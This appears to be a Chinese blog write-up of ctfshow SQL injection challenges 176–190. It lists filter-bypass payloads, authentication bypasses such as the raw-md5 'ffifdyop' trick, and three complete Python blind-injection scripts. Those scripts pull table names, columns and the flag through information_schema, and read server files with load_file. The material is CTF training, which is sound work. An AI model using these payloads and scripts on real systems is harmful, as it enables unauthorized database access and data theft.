ctfshow web入门 sql注入
本文最后更新于24 天前,其中的信息可能已经过时,如有错误请发送邮件到256704203@qq.com

176 大小写绕过,select改为Select

177空格绕过 改为/**/(注释符)

178空格绕过 改为%09 (tab)

179空格绕过 改为%0c (换页符FF)

180空格绕过 注释符号改为–%0c(原来是–[空格])

181万能密码1‘%0cOR%0c1–%0c 或 1’%0cOR%0cusername=’flag

这里拼接到原语句就是(username !=’flag’ and id=’0′) OR (username=’flag’) 因为and的优先级大于or所以username !=’flag’ and id=’0’是一组,这样逐行判断时,当username = ‘flag’ 时,条件为真,返回查询结果

182 0’%0cor%0cusername%0clike’f% (like ‘f%’ 匹配f+任意字符,例如fa,fl,flag)

185-186

数字0-9被ban了

考虑用sql中1可以用true表示,0可以false表示,例如(true+ture)= 2

脚本如下

import requests

url = “http://1947e01e-3a40-49e7-9bbe-6da9a980ac8c.challenge.ctf.show/select-waf.php”

flag = ”

aflag = ”

str1 = ‘{0123456789-qwertyuiopasdfghjklzxcvbnm}’

zd = {

    ‘0’ : ‘false,’,

    ‘1’ : ‘true,’,

    ‘2’ : ‘(true+true),’,

    ‘3’ : ‘(true+true+true),’,

    ‘4’ : ‘(true+true+true+true),’,

    ‘5’ : ‘(true+true+true+true+true),’,

    ‘6’ : ‘(true+true+true+true+true+true),’,

    ‘7’ : ‘(true+true+true+true+true+true+true),’,

    ‘8’ : ‘(true+true+true+true+true+true+true+true),’,

    ‘9’ : ‘(true+true+true+true+true+true+true+true+true),’

}

#数字对应ture的字典

for x in range(50):

    for i in str1:

#循环字符列表

        kong = ”

        for c in str(ord(i)):

#把i转为ord再转str,例如‘{‘->123->’123’,

            kong += zd[c]

#上面为例,即kong三次拼接,结果为:’true,(true,true),(true,true,true),’

        kong = ‘char(‘+’concat(‘+kong[:-1]+’)),’

再做一次拼接,这里的char和concat都是sql里的函数,结果为char(concat(ture,(true,true),(true,true,true))) , (这里对kong的切片操作是为了删掉原来末尾的逗号),这样在查询语句中就被解析为char(concat(1,2,3))

->char(123)->'{‘

        data = {

               ‘tableName’ : ‘ctfshow_user group by pass having pass regexp(concat({}))’.format(aflag+kong[:-1])

#第二次切片是为了删去末尾的逗号,和上面不同,这里删去的是原本’)),’的逗号,这里的concat是为了找到第一个字符之后,再把后面的字符再拼姐一次,例如concat(char(123),char(99))->concat(‘{‘,’c’)->'{c’

        }

        r = requests.post(url,data = data)

        if r.text.find(‘$user_count = 1;’) > 0:

            flag += i

            aflag += kong

#如果返回了count=1,flag就拼上对应的字符,aflag拼上当前的空,继续下一轮寻找

            print(flag)

            if i == ‘}’:

                exit()

#找到末尾’}‘,就结束程序

            break

        else:

            continue

187 万能密码ffifdyop md5(xxx,true)被设置为true返回的是原始16字节2进制数据,而

md5(ffifdyop,true) => ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c” or后的字符串非0非空,值为真,成功登录

188 username=0 & password=0

查询语句中username和0比较,而不以数字开头的字符串在弱比较时会转成0,条件就为真,返回查询语句

189,根据上题的经验,username字段的数据类型是字符串,那么username = 0 会返回查询的结果,页面回显是“密码错误”,而username = 1,测试后发现返回的是“查询失败”,说明没有满足=1的username。

所有可以根据不同的回显结果来进行爆破,脚本

import requests

url = “http://f6b633a4-f791-42e5-a849-a640fdf9a18d.challenge.ctf.show/api/”

def getp():

        head = 1

        tail = 300

        while head<tail:

             mid = (tail+head) >> 1

             data = {

                  ‘username’ : “if(locate(‘ctfshow{‘,”+”load_file(‘/var/www/html/api/index.php’))>{0},0,1)”.format(str(mid)),

                  ‘password’ : ‘0’

             }

             r = requests.post(url = url,data = data)

             if r.json()[‘msg’] == ‘密码错误’:

                  head = mid + 1

             else:

                tail = mid

        return head    

def getflag(num):

    i = int(num)

    result =”

    while 1:    

        head = 32

        tail = 127

        while head < tail:

            mid = (head + tail) >> 1

            data = {

                ‘username’ : ‘if(ascii(substr(load_file(“/var/www/html/api/index.php”),{0},1))>{1},0,1)’.format(i,mid),

                ‘password’ : ‘0’

            }

            r = requests.post(url = url, data = data)

            if r.json()[‘msg’] == ‘密码错误’:

                head = mid + 1

            else:

                tail = mid

        i+=1

        if(chr(head) != ‘}’):

            result += chr(head)

            print(result)

        else:

            break

    return result+’}’

if __name__ == ‘__main__’:

    num = getp()

    print(getflag(num))

190

import requests

url=’http://04b5ef7e-39a9-445e-abfe-6c8db49edf64.challenge.ctf.show/api/’

def gettable():

    table=”

    for i in range(1,13):

        head = 32

        tail = 127

        while head < tail:

            mid = (head+tail) >> 1

            data = {

                ‘username’: “admin’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),{0},1)) > {1},1,0)#”.format(i,mid)

                ,’password’:’1′

            }

            r = requests.post(url = url,data = data)

            if r.json()[‘msg’] == ‘密码错误’:

                head = mid+1

            else:

                tail = mid

        table+=chr(head)

        print(table)

    return table

def getcolumn(table_name):

    column = ”

    for i in range(1, 50):

        head = 32

        tail = 127

        while head < tail:

            mid = (head + tail) >> 1

            data = {

                ‘username’: “admin’ and if(ascii(substr((select column_name from information_schema.columns where table_name='{0}’ limit 1,1),{1},1))>{2},1,0)#”.format(table_name, i, mid),

                ‘password’: ‘1’

            }

            r = requests.post(url=url, data=data)

            if r.json()[‘msg’] == ‘密码错误’:

                head = mid + 1

            else:

                tail = mid

        if head != 32:

            column += chr(head)

            print(column)

        else:

            break

    return column

def getflag(table_name,column_name):

    table_name = str(table_name)

    column_name = str(column_name)

    flag = ”

    for i in range(1,50):

        head = 32

        tail = 127

        while head < tail:

            mid = (head + tail) >> 1

            data = {

                ‘username’ : “admin’ and if(ascii(substr((select {0} from {1} limit 0,1),{2},1))>{3},1,0)#”.format(column_name,table_name,i,mid)

                ,’password’ : ‘1’

            }

            r = requests.post(url = url,data = data)

            if r.json()[‘msg’] == “密码错误”:

                head = mid + 1

            else:

                tail = mid

        if(head != 32):

            flag+=chr(head)

            print(flag)

        else:

            break

    return flag

if __name__ == ‘__main__’:

    table_name=gettable()

    print(table_name)

    column_name = getcolumn(table_name)

    print(getflag(table_name,column_name))

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇